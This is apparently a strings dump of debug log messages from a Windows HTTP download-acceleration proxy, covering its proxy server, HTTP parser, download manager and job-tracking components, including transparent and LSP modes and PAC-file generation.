[CAccelerationStats::Write] Written: %d
[CAccelerationStats::AddRequest] Req:%d - Request was added
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges
[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader
[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.
[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).
[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.
[HttpProxyServer::Init] ___Error creating listen AsyncSocket
[HttpProxyServer::Init]
[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.
HttpProxyServer::OnData
pIHttpProxyWorker
m_pIHttpEngineConfiguration
[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d
[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d
[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d
[HttpProxyServer::WriteDataToFile] Filename: %s
[HttpProxyServer::Start] ___Error - HTTP Configuration not valid
HttpProxyServer::Initialize
[HttpProxyServer::Initialize]
[HttpProxyServer::OnAcceptEvent] *** Pass Through ***
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket
[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.
[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket
[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!
[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL
[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE
[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE
[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE
[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE
[HttpProxyServer::StartListening] Listening on port: %d
[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed
[HttpProxyServer::StartListening] ___Error listening on port: %d
[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket
[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port
[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d
[HttpProxyServer::StartListening] Listen port restored to default: %d
[HttpProxyServer::StartListening] ___Error Configuration not valid
[HttpProxyServer::StartListening]
HttpProxyServer::StartListening
[HttpProxyServer::StopAllAccelerations]
[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d
[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d
[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL
[HttpProxyServer::InitializationThread] ___Error listening to network traffic
[HttpProxyServer::InitializationThread] Listening to network traffic.
[HttpProxyServer::InitializationThread] Going to listen to network traffic
[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid
[HttpProxyServer::InitializationThread]
[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.
[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.
[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.
[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.
[HttpProxyServer::Start] ___Error hInitializationThread failed: %d
[HttpProxyServer::Start] hInitializationThread - S_OK
[HttpProxyServer::Start] Waiting for Initialzation Thread...
HttpProxyServer::Start
[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.
[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.
[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.
[HttpProxyServer::AcceptConnection] ___Error accepting a new socket
[HttpProxyServer::Work] --- Exit event was set ---
[HttpProxyServer::Work] - Start...
[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.
[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...
[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM
[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d
[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)
[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.
[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match
[HttpProxyServer::FindDownloadMgr] Worker was not found !
[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d
HttpProxyServer::RemoveDownloaderFromMap
[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)
HttpProxyServer::FDMWasStopped
[HttpProxyServer::Stop] The Stop process was finished !
[HttpProxyServer::Stop] - Workers - Deleted !
[HttpProxyServer::Stop] - Workers - Deleting...
[HttpProxyServer::Stop] - Listen - Stopped !
[HttpProxyServer::Stop] - Listen - Stopping...
[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !
[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...
[HttpProxyServer::Stop] Starting the Stop process...
HttpProxyServer::OnError
[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d
return "PROXY %s:%d";
[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d
[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d
127.0.0.1
[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration
[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true
[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s
[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration
[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI
[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.
[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).
[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).
[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF
[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***
[HttpProxyServer::OnHeader] ___Error local loop detected
[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.
[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)
[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d
[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d
[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!
[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d
[HttpProxyServer::OnHeader] New header from Worker:%d.
[HttpProxyServer::GetOriginalRequest] Original request was found: %s
[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d
HttpProxyServer::InsertDownloaderToMap
[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.
[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.
[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.
[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.
[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)
[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.
return "PROXY 127.0.0.1:%d";
shExpMatch(host, "%s")
function FindProxyForURL(url, host)
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.
[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.
HttpProxyServer::GetRedirectRulesInPacFormat
%%.%ds
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s
[HttpProxyServer::WriteRedirectRulesToPacFile]
[HttpProxyServer::~HttpProxyServer] - Leave
[HttpProxyServer::~HttpProxyServer] - Enter
[HttpProxyServer::SetOriginalRequest] Location: %s
[HttpProxyServer::SetOriginalRequest] Replacing: %s
[HttpProxyServer::HttpProxyServer]
hXXp://
HTTP_Version_String
HTTP/1.0
HttpParser::UpdateBuffer
[HttpParser::Reset]
[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.
[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.
[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.
[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d
[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.
[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.
HttpParser::Initialize
HttpParser::GetLine
[HttpParser::GetChunkSize] Missing %d/%d bytes.
[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d
[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.
[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d
[HttpParser::GetChunkSize] After Adding nChunkSize:%d
[HttpParser::GetChunkSize] Before Adding nChunkSize:%d
[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).
[HttpParser::GetChunkSize] The buffer size is %d bytes.
[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.
[HttpParser::GetChunkDetails] ___Error Unknown end of line.
[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).
[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s
HttpParser::ParseLine
HttpParser::GetFieldDataString
HttpParser::GetFieldDataNumber
HttpParser::SetFieldData
HttpParser::AddLineDetailsToMap
[HttpParser::IsDataAvailable] Undefined - %d data bytes
[HttpParser::IsDataAvailable] Response code has no body - no data
[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld
[HttpParser::IsDataAvailable] Chunks size - %d bytes
[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...
[HttpParser::IsConnectionClose] The Connection field exists:%s
[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default
[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default
[HttpParser::GetContentLength] Content-Length: %lld
[HttpParser::GetDataLengthFromRanges] Range fields does not exists
[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetDataLengthFromRanges] End Position == 0
[HttpParser::GetDataLengthFromRanges] Filesize: %lld
[HttpParser::GetDataLengthFromRangesField] Range fields does not exists
[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld
[HttpParser::GetRangesFromHeaderField] Range fields does not exists
[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld
[HttpParser::GetRangesFromHeaderField] Filesize: %lld
[HttpParser::IsValid] ___Error --- NOT an HTTP request ---
HttpParser::SetFieldDataNumber
[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.
[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s
HTTP/
HttpParser::AnalyzeFirstLine
[HttpParser::SetConnectionType] Adding - Connection: %s (%s)
[HttpParser::SetConnectionType] %s: %s (%s)
[HttpParser::UpdateDataEncodingType] Request - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.
[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.
[HttpParser::UpdateDataEncodingType] - No Encoding.
[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.
[HttpParser::ParseHeader] Complete - Header size: %d
HttpParser::ParseHeader
HttpParser::GetAllFieldDataStrings
[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.
[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.
[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.
[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld
[HttpHeader::GetRangesFromURI] The token %s was not found in the URI
[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.
[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d
[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty
[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.
%s%lld
[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.
[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.
%s%lld-
%s%lld-%lld
[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.
[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)
[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)
[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)
[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)
[HttpProxyLocal::Stop] FDM=%d (%d)
[~HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket%d.bin
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.
[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d
[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyLocal - %p] FDM=%d (%d).
C:\Temp\Socket_%d_%lld_%d.bin
C:\Temp\Socket_%d.bin
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.
[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.
[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.
[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.
[HttpProxyWorker::Stop] FDM=%d (%d)
[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.
HttpProxyWorker::Write
[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write
[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready
[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.
[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***
HttpProxyWorker::InitializeSocket
[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.
[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.
HttpProxyWorker::Initialize
[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d
[~HttpProxyWorker - %p] FDM=%d (%d).
[HttpProxyWorker - %p] FDM=%d (%d).
[JobInfo::GetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] ___Error: The field %d is not a position field.
[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld
[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld
[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld
[JobInfo::GetDownloadStartPosition] Job:%d - %lld
[JobInfo::GetCurrentTimePosition] Job:%d - %lld
[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard
[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.
[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.
[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)
[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)
[JobInfo::GetCounter] ___Error: The field %d is not a counter field.
[JobInfo::SetCounter] ___Error: The field %d is not a counter field.
[JobInfo::Reset] Job:%d
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)
[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)
[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.
[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d
[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!
[JobInfo::CanBeRecovered] Job:%d - %d/%d
[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d
[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d
[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries
[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d
[JobInfo::SetValidationBytes] Job:%d - Bytes: %d
[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d
[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!
[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***
[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard
[JobInfo::SetState] Job:%d, State: %d, Force: %d
[JobInfo::ResetState] Job:%d
[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.
[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)
[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)
[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).
[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard
[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard
[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard
[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!
[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***
[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes
[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare
[JobInfo] Job:%d
[JobInfo] Job:%d (%lld-%lld).
[~JobInfo] Job:%d (%lld-%lld).
************ End: d:d:d::d
************ Start: d:d:d::d
[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d
[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges
pIHttpProxyServer
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.
[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.
[FileDownloadMgr::StopDownload] FDM=%d, Stopping...
[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...
[FileDownloadMgr::StopDownload] FDM=%d
[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.
[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.
[FileDownloadMgr::StopAcceleration] FDM=%d
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.
[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.
[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.
[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.
[FileDownloadMgr::AbortAcceleration] FDM=%d
[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)
[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d
[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***
[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed
[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...
[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)
[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)
[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...
[FileDownloadMgr::ResumeCaching] FDM=%d
[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s
pHttpProxyRemote
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid
[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL
[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.
[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.
[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)
[FileDownloadMgr::NotifyOnStop] FDM=%d
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...
[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)
[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...
[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.
[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s
[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***
[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager
[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url
[FileDownloadMgr::GetCacheData] FDM=%d
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.
[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.
[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.
